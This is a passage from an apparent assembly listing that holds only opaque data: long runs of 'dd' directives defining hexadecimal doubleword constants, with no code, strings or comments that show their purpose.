0AAE0C8CBh, 0D62FF501h dd 0B19897D0h, 88904FDBh, 443F9A5Ch, 0F3A2004Bh, 0CC40D822h dd 0CF420B6Ch, 98723BACh, 27014172h, 0D13AB41Dh, 2808971h dd 6A080635h, 0D216D579h, 5C3014C4h, 1999EAAh, 72F1BD39h dd 0EC5DE1F7h, 5900CA5Ah, 307B6028h, 951D7A6h, 0B96B75FFh dd 0F80078FAh, 56E3E03Ch, 1B35A3h, 66B8B1DAh, 0D70F7571h dd 64039CE6h, 0D3905426h, 88714F1Bh, 0CB006598h, 0DC690382h dd 5501EFh, 4AAC2D7Dh, 18C03D29h, 895B0200h, 6AC1E3ABh dd 7C9D2566h, 0C4174CE4h, 7C001F1Ch, 7830A5DCh, 0BED77D33h dd 0F4E74064h, 0B400A3B8h, 1AFE0549h, 93A59Ch, 34430748h dd 79458F39h, 0C0142C5Ch, 9CA0544Dh, 0FF1900B4h, 4952F14Bh dd 0CC003677h, 63E80BEDh, 9460044Dh, 0F3B0060h, 1BBED15Bh dd 5A10105Ch, 90FDD049h, 7F91ECh, 0CEF7AB9Bh, 0EFC3D1ACh dd 8E7EBB00h, 0B8282377h, 89C64FD3h, 9F4BDC50h, 22083006h dd 7641955h, 0D7287503h, 7C596962h, 79676A02h, 458FC1Eh dd 402C6C80h, 0E374453Fh, 0A4C405DEh, 85D2AE81h, 0CF90C8EAh dd 0CEF43600h, 0B0D62D77h, 0CBC50818h, 0B58099B8h, 95529C39h dd 4ED007Dh, 0D0B385F2h, 49443861h, 0C6230017h, 4021AD4Dh dd 0CC005090h, 87670357h, 1D4A5A3h, 0DF4B7301h, 3F2D9EFCh dd 9400B45Dh, 0A2DB59A3h, 839103B6h, 0F9CB071h, 0CB44C9A0h dd 0B821A901h, 3B622A76h, 0AADF3840h, 5A430039h, 0E7C7F4E4h dd 293A3DF8h, 71F102E8h, 0E4FE190Fh, 0A49B071Ch, 434F9538h dd 0F6F10701h, 8C91F7E1h, 53B3C4B8h, 8018DE00h, 269C615Ah dd 0EFED0122h, 0AD9A1D13h, 0FBC3D010h, 0DE139h, 58E362FFh dd 28202276h, 300CE95Bh, 6D5923BEh, 290A1041h, 10FAC820h dd 122BA1Dh, 2471406Eh, 807402B9h, 68BE9A28h, 0FEBA2CAh dd 0ABCF6E38h, 631E1103h, 0C07983A9h, 410CE66Bh, 406D2160h dd 0FFFA041Ah, 0C26E8C73h, 4080BDF1h, 1971086Bh, 0F4A64C11h dd 95009E58h, 24F2DB1Fh, 1009678h, 0B81A9046h, 3A3E61DFh dd 8F005802h, 1124A904h, 3D30D6A1h, 7EF740F1h, 75920016h dd 0C984EBE6h, 9F01E0D0h, 1D981159h, 6980EECFh, 98E9366h dd 61067A43h, 22B9F358h dd 1577999h, 0AB92CC91h, 810E3A88h, 0E093CD18h, 38F0A82Ch dd 270EA02h, 8A1BECFFh, 1480963Eh, 8D3B3947h, 0E69FE31Dh dd 4E6DC5C1h, 21BC4389h, 7C30D500h, 66DDE0A8h, 921D0800h dd 6178A2AEh, 28820183h, 208D6740h, 0FF8C48BDh, 0A1F73C37h dd 194CCFC7h, 2857773h, 2D8AC1DBh, 0CB20E6A9h, 7831892h dd 4DCEAB81h, 0CF78401Bh, 1D601AAEh, 0A8345849h, 555000D2h dd 1F031002h, 6A008589h, 6E4D6F68h, 9032671Eh, 1DF14420h dd 7788B21Fh, 56CD9B40h, 0E261D3h, 0F86319DCh, 6D8DA42Bh dd 0D01EE53Ch, 107C8634h, 7F3B1300h, 0DE2DAE2Ch, 0E4D8009Ah dd 0A5F9B420h, 962C2651h, 3613BA53h, 89672207h, 6EB892F1h dd 481B1CCCh, 0B50340E5h, 6FD4CCA5h, 386C69A0h, 53F9C000h dd 0A8ABBE02h, 0A8E2600Bh, 0F37919D5h, 0A0B2E500h, 4A4B16F7h dd 0E0A0364h, 0F6CC700Ch, 487C6A91h, 783BC1CCh, 0A5158034h dd 6D3C1DBBh, 3E250039h, 631118D6h, 2B006480h, 9B36E7A0h dd 4C0AC121h, 0A81570F3h, 710090F5h, 0E39CD03Fh, 8F0AA7FBh dd 0EC7C1464h, 0A3FCA600h, 1BD17B4Dh, 7940696Ah, 760CD8F0h dd 34573203h, 0EDD6A2CBh, 0C07FF04Eh, 671BD925h, 349B0046h dd 40C021F6h, 1C00395Ch, 0A57F5DF5h, 9730262h, 85671F54h dd 47FCE804h, 38806E1Ah, 5A3ABE6h, 0D699572Bh, 95E84748h dd 0B5BA20C0h, 2224E5B6h, 0D502B491h, 10A9D7Bh, 2083DF96h dd 600BDE4h, 53A357F6h, 15AFE6FAh, 64806AE3h, 95A0D706h dd 3307113Fh, 0C6F4AF3Ah, 13BF11D0h, 8B7A0018h, 66B26A7Fh dd 6C125190h, 7C00A04Eh, 3646CFCCh, 48A40003h, 0A39B110Ch dd 940E2A02h, 80513857h, 9566B06Dh, 8941186Ch, 84AC6946h dd 30037518h, 247F9FB0h, 4084A8B1h, 44523EFAh, 795C700h dd 57DC1E03h, 7E833AFFh, 6CC0CF00h, 0B558098h, 26436938h dd 6A6050B8h, 0E2A39A4Ch, 6FE91DA6h, 0DBA5C1C4h, 28B85D7Fh dd 4C7B0023h, 3362C82Ah, 9DBF3988h, 9B7DE480h, 0A1EA06B5h dd 0D8BD1D24h, 0E36AFF43h, 206DF961h, 7310EFD1h, 0D80F6C3Bh dd 4525D0A2h, 0B6C7C026h, 40626080h, 0F7BD3B97h, 2491BE01h dd 60AB3CAFh, 0B4ECE05Fh, 3BB06A02h, 4B0DA647h, 0AB70F080h dd 5E0401D5h, 0B31675C1h, 53C0C081h, 11BF9B00h, 38581F6Ah dd 3CCB24A0h, 40ED9C08h, 94B7CF36h, 0CC020A04h, 0A72EFC79h dd 3C944495h, 0BC8034D1h, 50A3E322h, 7160CBA2h, 5F36B3E1h dd 0BDC80093h, 0B9650688h, 57004B26h, 397ED60Ch, 7FBCE0B1h dd 3C1491EEh, 69B79E80h, 40AA705Dh, 78337300h, 106F71D7h dd 0ACE7AC8h, 0F4182FD5h, 0FDFB80CCh, 85BCC769h, 0BF5C9B04h dd 0E7804CE6h, 0A9FA8Ah, 108C368Dh, 7C037869h, 7E762D00h dd 20C771FCh, 6ACA33FFh, 0AE88DCF1h, 251CB306h, 2BC0586Fh dd 51425F20h, 447C98AFh, 3E6195FFh, 0D6E417B1h, 5EBB7880h dd 0D8920921h, 3034FDFDh, 706194DCh, 46D63008h, 7BBA6980h dd 596AA91Fh, 19C3AB00h, 0C1BE4A6Ch, 758A0070h, 0F2E3583Bh dd 0C21C92CFh, 0A5C290CDh, 4023E55Ch, 16B303DCh, 21A21D14h dd 31216C60h, 621AF190h, 2925005Ch, 6AC90E26h, 248D4C58h dd 0FC6603C0h, 4960C632h, 6EEF968Eh, 3A070011h, 0C018707Ch dd 58A0D56Bh, 80005498h, 0D740A393h, 0C215AFh, 0CBCEDC26h dd 70569A2Fh, 0F98C2Eh, 2ABA6902h, 0F5744057h, 8E6688EEh dd 8FC0BFEh, 98C6F300h, 1AA0D0BCh, 143F036Fh, 56483467h dd 0C44182A2h, 8020A8A8h, 0B0173601h, 2298B2EEh, 6B419180h dd 0AB9A2151h, 0C560A24Ch, 38C02DA9h, 0F0D53314h, 3270167Ah dd 0BDE8085Eh, 94D9D040h, 0CC6C507Fh, 70D62992h, 83003A8Ch dd 0D2DC3655h, 35E68EEBh, 0EF48E80Fh, 0FFA22190h, 498D1E32h dd 20794FD5h, 6A002A77h, 675462DBh, 7283970h, 0A5F4367Bh dd 0D804CB65h, 8FE05924h, 59BA3F0h, 0C72146C4h, 80945EF9h dd 39DD12E2h, 482EA7C1h, 6A402489h, 0E818BCCDh, 46A51761h dd 0D1440ACh, 427E7383h, 812829CBh, 84518858h, 263BD430h dd 0BE48B5Ch, 9A83F6C7h, 0BB8211EFh, 8E0020E4h, 23ABFB4Bh dd 2C396BF9h, 42606021h, 34E6C0FFh, 7D00C742h, 4D67EF25h dd 361257F8h, 4C000E4Fh, 0B51715F9h, 92820270h, 0A5ECD41Bh dd 5539EB87h, 6B2C00A9h, 58533630h, 0A618B00h, 7EEC28Fh dd 4F053D19h, 0D0B13F83h, 6AA238D7h, 0C6044864h, 1E8072BDh dd 17BBF8CCh, 843A5B7h, 7F8049FCh, 0EA85E455h, 0DDB9004Dh dd 0A3980678h, 0DB75EB0Fh, 0C3F2AE17h, 47BFF060h, 58731870h dd 0E59B1085h, 0A33B9800h, 9FBE3443h, 9CF0FD10h, 3B9A7CB9h dd 6A0C7959h, 18895572h, 5C000C91h, 652A0587h, 7DEA0F01h dd 6FA47ADEh, 46B1C3BDh, 8782CFE9h, 0E86C5A06h, 0A0F3A662h dd 35E0FE8Ch, 8C580609h, 726AC52Ah, 78A07AE6h, 2C76415Fh dd 84799B28h, 0F40DA720h, 0F9BE6Eh, 1F08A1C9h, 1726797Dh dd 8940941Ah, 0E71DDCFh, 87E6963Ch, 747F45C3h, 4B09C2B0h dd 1B24C807h, 61E0C6B8h, 0A1F799Eh, 1375B211h, 304193FCh dd 3E7B66D4h, 6F128500h, 0B72B77Dh, 71757A23h, 117E3E14h dd 0C822E02h, 0E0C0416Eh, 56185ED9h, 8C91F31Ah, 0F7830721h dd 0E0EB8031h, 794CAB7h, 8D680B24h, 0F3898103h, 3C7172AFh dd 0C3284119h, 3BE50008h, 0C98F2371h, 69069B1Dh, 0F51A990Bh dd 6E9A0E21h, 0D5604CCCh, 0CBD0C4A6h, 558B7909h, 703C8057h dd 0FF2C38DBh, 7F002032h, 52A2BF18h, 0F6E0D88Fh, 8EB14018h dd 90590D51h, 50D00A48h, 81BCBC89h, 255767Bh, 469BE88Fh dd 4D26F400h, 22F1751Dh, 186FFE5Fh, 0B9527473h, 1C996AB2h dd 0FC20A912h, 4D5C540h, 1D0A55BBh, 70DCB4CFh, 3809927Bh dd 42C415h, 29AB6168h, 79072665h, 82624h, 0D6AFC3D8h, 5B026BECh dd 0F9A2406Fh, 89006086h, 0C4BD5CC2h, 7AFF41C0h, 70007501h dd 9157BE9Dh, 7C6EB81Ch, 124F0373h, 0A5A6E4FCh, 99555805h dd 804F45D6h, 0E2B7E087h, 501A51h, 0A3386457h, 44B8B38Bh dd 968FEA05h, 0D4489D89h, 3A9C800Dh, 3458021Eh, 0D525BF13h dd 7CB1E420h, 5ACE0686h, 0B845AE36h, 0BA8BE601h, 0C6202901h dd 778479A0h, 0B36109FCh, 6B00BDAFh, 7E225C63h, 0F916CBEEh dd 8001D858h, 176BBC90h, 0F2A8398Ch, 55FCF641h, 81FD603h dd 0A00157A0h, 59DB6Ch, 9BD98EBCh, 0F365C1A7h, 0A6800C99h dd 50248DE8h, 0B14B0D25h, 30B93EA0h, 6C0A8AA8h, 0AC456773h dd 41E3C080h, 9A65DF7Eh, 2E263CBCh, 63307801h, 0C0BDD835h dd 0F176AF3h, 603037E4h, 62EF88h, 0EE7475AEh, 0E560B591h dd 3F78150Eh, 873902E9h, 6C4695h, 9CE8BA0h, 27FEAA97h dd 15C7B4Ch, 1234578Ch, 40FA9C82h, 1D43DBB8h, 30CB1BD4h dd 0E5887B9h, 0E62E68E0h, 96001B50h, 88E47EC4h, 88835813h dd 0D68E9B00h, 55CC4357h, 0E1388930h, 7D9F36Ah, 0A6C26EC5h dd 849720ACh, 0E705621Ah, 0D690743Dh, 7FD341Fh, 0A971299Fh dd 0FF281770h, 0B580926h, 64E81AADh, 0A000FCA6h, 5AFB151Fh dd 613A30h, 6E2618A1h, 7988B221h, 80B4895Ch, 0DE0BE0C5h dd 97C60085h, 0CD13BD96h, 0CCB860DDh, 484DEF44h, 5809B8FFh dd 0C4E681h, 0E6A8000h, 0FEF0EC90h, 0E35A0013h, 0AE9E35D6h dd 3D1869EBh, 31383385h, 8B3C04A5h, 0A4A970ABh, 9C03CAA0h dd 87297242h, 718D8076h, 18071EADh, 697B80FBh, 0FE5B1D11h dd 9A989C7h dd 26C4C983h, 47E08811h, 90BB4175h, 80543CCDh, 4DADDF64h dd 57BA00C0h, 0E5A81315h, 671D5999h, 44E81989h, 0BE2B300Bh dd 0CEBA804Dh, 0FAAD9F36h, 0FB8100EDh, 10FF25C3h, 2C99601Dh dd 7950950Ch, 20CF0081h, 8D12FDA1h, 1000AFA9h, 822CEBD5h dd 1E440A42h, 0E4067DEDh, 0DC754F4Ch, 5C016280h, 5700E05Eh dd 824C0FEAh, 98B2F99Bh, 691B0088h, 0BE1AD7FAh, 0A75CC6E6h dd 44FE2EE0h, 53138130h, 7C617007h, 819D1CBEh, 959380FFh dd 67DF04BFh, 7FD4385Ch, 76DEB44h, 0C61BB861h, 7007C07Dh dd 797C6741h, 6F406C9Eh, 7B8DE8Dh, 91BF041Ah, 0A96E8377h dd 3F984085h, 0B3D1C58Fh, 0AB30F800h, 19DC9DEAh, 5CBB768Bh dd 7D8CEBh, 0CDA54244h, 0CCABFF54h, 0C2834E00h, 4CE923E4h dd 22689824h, 0D2580EC5h, 0B353B3Ch, 883C10D1h, 483C488Ch dd 58D8305Ch, 0E4D1A0FFh, 0FDA2301Dh, 69ABE521h, 6C960724h dd 53D79D40h, 0E2910309h, 82A1F6E3h, 0A54F8890h, 13629E00h dd 7C5E3467h, 76281FA4h, 80D9389h, 8D80F454h, 0AE6DB49Ch dd 43380027h, 61A9518Fh, 6A0FE7E6h, 0CBCF5788h, 8B982017h dd 3FA2EAF4h, 228903E2h, 6C9169B2h, 0E76BC024h, 46973B00h dd 0FC716D1Bh, 0B3CF0327h, 0F451A6A5h, 9C483022h, 43074074h dd 502557Ah, 9B158A20h, 8798E014h, 2C56EA99h, 7E62F3h dd 0BBC8C101h, 0DC04236Ch, 5DDFE08Fh, 28793CC0h, 3A2F2BEh dd 603F3470h, 9B905710h, 0D70C32A3h, 481B6EAFh, 0B05850FDh dd 52F72CB5h, 714B0454h, 94A88CB9h, 0BCF2E003h, 0F8227728h dd 482D44CEh, 3B18F039h, 6E85706Dh, 8C916100h, 0ABDC87FDh dd 0A63312DBh, 903C0017h, 4C7C5407h, 278D1F58h, 0F06CA874h dd 3C013F16h, 0F62F8550h, 38D42060h, 990163B0h, 736AE6B8h dd 74184143h, 0C6998147h, 0FC6C2CCBh, 2AFB9420h, 92C7B6Ah dd 0C0FFD3D0h, 89004C46h, 0B0735029h, 48C9202Ah, 76A1ECF8h dd 0C8FCC4BAh, 0C26D0500h, 82E62A10h, 5A80079Fh, 7B022457h dd 0D7903864h, 45ACD000h, 14B267DDh, 231804D9h, 8CBAF3D4h dd 77037BD8h, 0ADD7A365h, 0E0A5AA1Dh, 1FB0C96h, 474A5903h dd 327C6AC0h, 74690E6Ch, 0CAEF85D2h, 2618C8h, 0B1432440h dd 148A2B86h, 8983D700h, 29DE2E9Fh, 2DB2F2A4h, 0AC90B145h dd 5607F401h, 0CC07C66Fh, 0A9080599h, 757CB4h, 3BE2AA47h dd 0F8C8BC28h, 6A44CEC0h, 28B21B01h, 0D8A105h, 2B8E82B0h dd 27E3CA7Ah, 9830117Eh, 936099DBh, 0A9E237h, 58EA26Fh dd 40701B24h, 8C15814h, 0AFD3A0F8h, 83A0177Ah, 75E008FAh dd 3412A8A8h, 0FC00122Fh, 0A0E5D7D0h, 0A496F49Ch, 3B3600D0h dd 0F65D78D9h, 4058AA4h, 0B1293C68h, 81FA1080h, 19B901C7h dd 766AD3BEh, 4439A42Fh, 0B72DB507h, 0C008A550h, 0A6400138h dd 0F34C1294h, 88CC2C32h, 0F3841BCh, 0A71987F8h, 10B04FF3h dd 24B1CA23h, 9CCED0h, 0B014403h, 19513958h, 328840B0h dd 0AD14CF5Dh, 80E0CB13h, 0BFBC7EEAh, 0C1709Dh, 0C63F1648h dd 0F2E3E71Eh, 30EB4F07h, 0B8A5B4FEh, 4C058CA0h, 852438E8h dd 17C026CCh, 0D0CC1850h, 355178DBh, 0B8E54094h, 600716FEh dd 19AAC8CBh, 95D827A1h, 6100682Dh, 0A3B73053h, 5A07D08Ch dd 7502BCCEh, 0C4CC9835h, 6D3116B0h, 0AD7820A6h, 380422ECh dd 401A09D5h, 3BFDB480h, 208C1667h, 950C22C3h, 0B9716CE4h dd 0C4018B00h, 0A31DC8F3h, 9660185Bh, 3BB6897Dh, 3D5A0A00h dd 0BE891124h, 64D3099Dh, 340472F3h, 5828C092h, 1B254B05h dd 20F42189h, 90F8EB42h, 563D005Bh, 8C7159CDh, 2305E617h dd 417B8643h, 0DF92C85Dh, 170F340Eh, 5A6BC8C8h, 163420D8h dd 830BE464h, 180F20h, 6B27BA8Fh, 9EB8A0BDh, 0B5DB1C11h dd 1F3E8B82h, 49F11004h, 0E28C90D5h, 0FD7400BCh, 1EE58B13h dd 8200EBD3h, 0F114196h, 0E6F53658h, 0FC3806E6h, 0A02699A5h dd 9EBCEF0Bh, 0D084E033h, 90A84AA9h, 0CE829F10h, 0C62D5E1Ch dd 2A0A24E4h, 85028C45h, 438F9A20h, 6F9BF864h, 2AA4B05Eh dd 0A2E02FBAh, 8068455Ch, 26A110A9h, 2FE81B0Bh, 0C8EB3F01h dd 0C46C4486h, 0E25425E0h, 437A0070h, 4C8FC161h, 184A28D1h dd 0F1AB2C40h, 0C6644C9h, 6723AC92h, 0D89E3198h, 0A0F31543h dd 0C7B7CCh, 4021D74h, 384AD2C1h, 2FEA6490h, 0D98D3302h dd 0DAD60ACCh, 0F4A0010h, 0FC866764h, 0DC60797Ch, 0C615EC30h dd 36570085h, 0C3463EA9h, 84B6160Fh, 0D870BB47h, 9F6528h dd 8A3BCA58h, 0AC0475FDh, 0BA067801h, 41502B6Fh, 155E7970h dd 0A460ADBEh, 5CF08B28h, 0E0511CBFh, 0D080D8F9h, 11C18E8Ch dd 462C03FFh, 7511CCE6h, 0BAB63600h, 0BC98B0AEh, 0E4A08828h dd 8F37F018h, 0B745110h, 0D65B209Bh, 22195C91h, 9400718h dd 0A5906245h, 50EF6Ch, 0CC34D4B4h, 96F91555h, 482E1F03h dd 1EE8A946h, 40746D41h, 0EBE9636Eh, 104C1191h, 67A58050h dd 5D9F1295h, 807905Ah, 50D09B1Eh, 38307550h, 1BE553Ch dd 0E0B819EFh, 2880ECA5h, 7FEDB02Ah, 6F001D63h, 3F92CC49h dd 2DAFD48Eh, 68A2CB14h, 2840CEB6h, 8500DA5Dh, 0BF623FBAh dd 780E8265h, 802079Bh, 0B3617B8Eh, 0EE82C043h, 0A23BC0C0h dd 0E4EF3C09h, 84519Bh, 8A5A216Ah, 3E004879h, 0DECD7AE0h dd 2ADDDEFh, 411B0D2Eh, 18800F40h, 0FFEE6ACCh, 6DB55700h dd 0BC1F3BBh, 0E86003Dh, 0CF465537h, 809597CBh, 7F7A18A0h dd 0C00A4A11h, 345808D4h, 0D4831F24h, 0C529AB60h, 0E76C00A7h dd 0D9C95008h, 765053C2h, 0D88BEAD4h, 20BA82h, 8D5B0A15h dd 7773DA36h, 70B05A00h, 908A3994h, 596D0446h, 0B5D59C76h dd 8E7EE8D0h, 9D13DF03h, 88AF9E33h, 28C01791h, 1E301A7Fh dd 7FD6586h, 0C3AD9C67h, 77D0CDC4h, 6FF65694h, 2F12125h dd 71746AF8h, 0D4D70084h, 0A999970Dh, 110E749h, 0AF393B05h dd 68715C92h, 0A0B0C4C6h, 2504766Ch, 0E4901DA1h, 0D6309810h dd 185FB174h, 3D851F33h, 0C61D0903h, 6F006851h, 62F35AE2h dd 803C96C7h, 0E4B73F03h, 0FD05982Ah, 0B9F3591Dh, 8A001CA6h dd 621B30B3h, 76072F8Dh, 594028FCh, 0FBACC70h, 44FCBA20h dd 0FF767041h, 8F0C8958h, 602640E4h, 1FB8E48h, 86C7125Bh dd 6C644EE6h, 0FC2DCAC8h, 9CFC6700h, 0C0448950h, 0C8B5B919h dd 3013080Fh, 8C840E0h, 9C160021h, 25ED457Ch, 0DE00334Ah dd 312DC824h, 0B6E8F4h, 6D0A940Bh, 86B581Fh, 1917A50Ch dd 0FC4120h, 0BDB14CCEh, 3491761Ah, 0DD599428h, 0B81C8800h dd 422E8DE4h, 7154007Dh, 0D128D631h, 3FEC698Fh, 806C1848h dd 0CD5C64EFh, 0D47F073Eh, 231525ABh, 50B10B3Dh, 62607116h dd 8F6053Ch, 0C800D869h, 0BD4AA3FDh, 0D4BA4CC8h, 0E8AFD503h dd 0B4D4212Fh, 0C100E484h, 0F60C3978h, 0E2A29F8Dh, 0FB499CBh dd 0B8A067BAh, 0EEF7AB66h, 0C8263603h, 0BDFAD401h, 0E5AC4480h dd 773801ECh, 0E3DCCAEAh, 0E4A42171h, 0B4907BB9h, 0FFE0829Fh dd 0E6FC90BAh, 20BE1C60h, 0C13DC082h, 4F6E4369h, 3F4847B8h dd 0A0A9278Bh, 0F8AE9418h, 10390045h, 0D14FF544h, 761C0490h dd 0C0E830C1h, 97410F00h, 0DA15C880h, 7578B8ABh, 3850D478h dd 88990D22h, 1F46880Eh, 5E192118h, 2380057h, 0CBB4921Dh dd 39F49FFEh, 0A0A66E27h, 0E0EE5A24h, 8DE50308h, 71D866EAh dd 0A3463800h, 69098BE2h, 8060BED5h, 0EF830E9Fh, 5D1EE627h dd 7E7B57h, 66955630h dd 2FF6E34Ah, 9427CB0Eh, 0FB8942BEh, 0FD55A60h, 20580495h dd 0D3801CE9h, 0A316E3C6h, 0AE690301h, 0BE37E854h, 29B08CFAh dd 0D1160E80h, 0C360A886h, 138FA043h, 831865FCh, 686636CDh dd 98B085h, 7FB07869h, 0B14BE249h, 9040A14Bh, 0CDA5A9CFh dd 445F4C25h, 74010FC0h, 70F49BBh, 20B2359Fh, 4C69F178h dd 8C69FF38h, 427AE501h, 0CC434989h, 8008E61h, 0AAD8924Ch dd 0F5208066h, 204A69B9h, 5EFE0734h, 26478A1Eh, 9C50E7C0h dd 16D7FCFh, 4CF16654h, 87DDA358h, 5C836108h, 0BCE26AC5h dd 3A2DBE24h, 0A0BDD080h, 0FD3EF724h, 0E9234418h, 783A699h dd 0B9BB86FFh, 1913D0FEh, 1D28AAE2h, 2714860h, 0A0CF331Dh dd 0AC0708E4h, 8734F9CBh, 0F3A54A4h, 979D5428h, 0B88900BEh dd 3675F843h, 0B4BE4500h, 9D3BA524h, 39420132h, 19871C38h dd 0F01D7110h, 505E058h, 18621A40h, 0B34080C7h, 28BD7657h dd 44A97Bh, 38CC5CDh, 0A6ECBED5h, 4A907E04h, 0F4F1FF3Dh dd 778821E0h, 0E842487Fh, 9558F322h, 55A38000h, 98207FE6h dd 7A710EF2h, 6B009307h, 8AF33E5h, 67139609h, 0D8C489h dd 0D9EB4D50h, 0F3880990h, 809A271Eh, 0C8966AC9h, 178C4030h dd 0C85CA7A9h, 5F3B6FF4h, 1EDE801Ch, 0CB61AC0Bh, 78456085h dd 0A1A5ED79h, 66F484Ch, 728EB23Dh, 88572F39h, 7DB9E020h dd 3007E2FBh, 5C1EA499h, 0B7DA9080h, 0F9E00D7h, 67CC8E02h dd 2CBCCBABh, 0AD79D687h, 36805DA4h, 7355911h, 0A2CD1398h dd 0E6ED309Fh, 0CF006E28h, 0DDCCABE2h, 0B0D26127h, 0C5BE1658h dd 0F98C20A8h, 609EB13h, 70AED4C0h, 0F8B0DCh, 0F7D0C1E3h dd 7612902Eh, 0A30298B8h, 202D9D0Fh, 80AC56BEh, 36579573h dd 54906F9Eh, 6E50E30Eh, 562BC01Eh, 0B6211A4h, 0F4A78195h dd 7594400h, 1A77413Dh, 6B00CAECh, 89C08E37h, 9C749CBCh dd 0C4DD406Ch, 620BF2B6h, 10676AD4h, 0BCD63468h, 0A78080E0h dd 741020E8h, 0F44C9D74h, 0FEE8991Ch, 7884880h, 70847E5Fh dd 0E71F3200h, 5D983957h, 4C0B7069h, 6B8194BFh, 0F09B10D5h dd 0AF4FFFFCh, 0DF878430h, 0F3400AA6h, 10CF4CBh, 0FCC2ADCFh dd 54B2F8E9h, 5E7B3601h, 28677D05h, 95D0F461h, 6CCE048Eh dd 802109EDh, 736ADF7Ch, 18D15467h, 9551ACh, 74AD67F9h dd 0D8B74A03h, 0FA0A7300h, 68056F8Eh, 0D818651Bh, 0CE2DFh dd 0F8D33EF1h, 5476DBh, 0AD5A01BFh, 44A2B980h, 6F214101h dd 0ED573625h, 88FAB420h, 8F04DAF6h, 6D1A65F1h, 6A80D4BCh dd 49377CCBh, 0B4A18D00h, 0CA2C5557h, 0A23F037Bh, 0A3BCAF46h dd 1F0DB105h, 0FC8861F3h, 807096D6h, 27DF325Ah, 1A04FF02h dd 0A03153AAh, 203944C0h, 6C41009Ah, 22A7A3B2h, 8801AD97h dd 0C09D6911h, 7430479Bh, 0AB7B0EACh, 0E4618239h, 3D3CF38Bh dd 10202F2Ch, 0BEB2E574h, 0B8488Ch, 7C328E8Ah, 1B508B6Ah dd 69ECCE98h, 0B802BC41h, 962720EBh, 483BB81Ah, 41650323h dd 0F2BD3FAAh, 80C4F956h, 98E001D0h, 0DCB81E80h, 0CA650B00h dd 1D9C6C42h, 0E0189711h, 500015B0h, 1B09C3A6h, 39D24617h dd 0D40BEA71h, 84443D87h, 0F55A471Ch, 0C3CF615Dh, 567C643Fh dd 9CDA90C1h, 5B2B6470h, 0AF4000C4h, 0CF209031h, 0A09360B9h dd 94C2E064h, 3CD4F11Bh, 7DB1C900h, 0D69ED885h, 2B1A3500h dd 0ABD70FF7h, 70825883h, 803840DEh, 5BA21997h, 0AE3E10C0h dd 0E3B0373h, 789A2FA6h, 0A851C409h, 0A9CFE14h, 0A8C56BCBh dd 0AC45C60h, 284F4B6h, 0CFBC6510h, 0A490B8FFh, 14EC72DBh dd 766A2413h, 0C4182CD2h, 575600A0h, 79406C45h, 2800D920h dd 7C335873h, 900C97BEh, 0E0CB040Ch, 0A47D6AF1h, 3BFC7B8Ch dd 0C494A30Eh, 0A52F2E39h, 888890Ch, 0E25A0056h, 116BBA91h dd 58911A55h, 848E300h, 48AED114h, 780152BDh, 0C6018A22h dd 0A03860EBh, 98BEFF2Eh, 111E5D40h, 4014940Fh, 0B64AEB19h dd 0B263300h, 9DC2B040h, 0F0D839E4h, 96356B8Bh, 1E15A010h dd 83B0BD00h, 0B9D4F57Eh, 0E95F7023h, 0AF84202Fh, 0C41C930Bh dd 0FF82708Bh, 608D676Dh, 962E234h, 0A227B103h, 7400E4D1h dd 0FF299F47h, 4E2058Fh, 4368336Dh, 1B369110h, 89B266B0h dd 2542600h, 0F34C6F31h, 81F49EBAh, 0B1F75928h, 0D118B74h dd 4BAC90A8h, 0D1720054h, 14B0BB58h, 0F8E15952h, 5750C003h dd 9494D0h, 752B8440h, 0A2DC00D1h, 74041E6Ch, 26071121h dd 616BD92h, 759FB211h, 1C300115h, 3E727311h, 0DDB1DC20h dd 40749688h, 0AAB96950h, 8D2DF02h, 41F13B6Eh, 0EC20BD07h dd 0BE39C741h, 888085C8h, 6D582914h, 114330B4h, 13FFC8Fh dd 5137D71Dh, 60700D7Ah, 0B7166944h, 90895Eh, 7708A3A2h dd 42520093h, 91BB1C3Bh, 0E702138Bh, 228911E9h, 0E1CC15Dh dd 1861E512h, 9BE44CBAh, 0AD471F04h, 8888B4h, 2B302EBh dd 66F5D5F2h, 0CCFD2441h, 30B03074h, 0A10A4BFCh, 0F82C586Ah dd 0D080B713h, 0A31376h, 0F4F522D3h, 0B916A5CBh, 60026A00h dd 972627A6h, 5B8C9078h, 0B74FC8Dh, 23076C2Dh, 0ACB0CED8h dd 4808CACh, 4E33FA3Ch, 0C1915D00h, 16F2647Ch, 75191639h dd 849800C0h, 947E06B7h, 0D9D0D807h, 7091A6E0h, 80304F18h dd 8F8C0092h, 256EE416h, 0DF00B81Bh, 0A3AB3D72h, 0F4B0C330h dd 92C11739h, 961D07B2h, 0E8986420h, 79009304h, 0BC30A77Ah dd 883F0099h, 97D9E54Ah, 740F1AC7h, 0C485A2CEh, 6CC2D2D0h dd 7B0818E4h, 0F4726F00h, 439293F7h, 0B6360021h, 81389C37h dd 8801BC8Ah, 0D0B14A9Bh, 0E860063Fh, 6F1B1604h, 32CC0026h dd 4EAD3857h, 49A2125h, 28FCD267h, 0A44A0A80h, 3A0691F4h dd 0F118FB2Dh, 7B3500B9h, 162C398Dh, 0D91DE70Bh, 9C02FCF2h dd 81CEC010h, 1AFAC9D0h, 0A6343BFCh, 0EA8D7FBCh, 4DD107DAh dd 0C095F955h, 8021978Bh, 801C1A48h, 556DF618h, 19B7260Ah dd 0ACDC02B0h, 0CC201F1Ah, 18C0CC4h, 0C8934363h, 0CD084B21h dd 8DB420F6h, 85CFE615h, 0ED120028h, 1CB8C0ECh, 109D88h dd 8A0037D5h, 75FD35C6h, 0E40FAD59h, 4D0E8A9h, 17D6DE4Dh dd 886600F0h, 0E67627h, 0E3488274h, 0FDE54FEDh, 0DECA4B00h dd 1D02D080h, 0A531DCF5h, 590FF4E4h, 0A0B36B7Bh, 92EA80Fh dd 39D9FE28h, 8D025B45h, 72A417BDh, 577D887h, 5E5C003Dh dd 0D5685940h, 7F705309h, 7114808Dh, 910CA8F1h, 0C0561F04h dd 2ED44DEh, 703C2ED9h, 0A3010A6Dh, 0C51DB986h, 0FD0FDF0Bh dd 5882E389h, 9540D2E7h, 670088D6h, 1B55CF31h, 2557F446h dd 0B0100AADh, 0A8001842h, 3B7CA6C7h, 1DB7C2h, 83B57D7Bh dd 0A284F0Fh, 61016EF6h, 6BE724B6h, 50721A0Ch, 379A5500h dd 0C17D54F1h, 79831316h, 0CEB338C0h, 66938ABh, 45C0B026h dd 6BB0819Ch, 6248301Ch, 70F36E00h, 6A40A981h, 9EBEF87Ch dd 0CBFF8B0Ch, 645EDC12h, 0C9A67140h, 149C3A96h, 24E86C25h dd 0FB0A6016h, 0D0F4A93Dh, 0C4A8C380h, 181DCB1h, 90CB09D0h dd 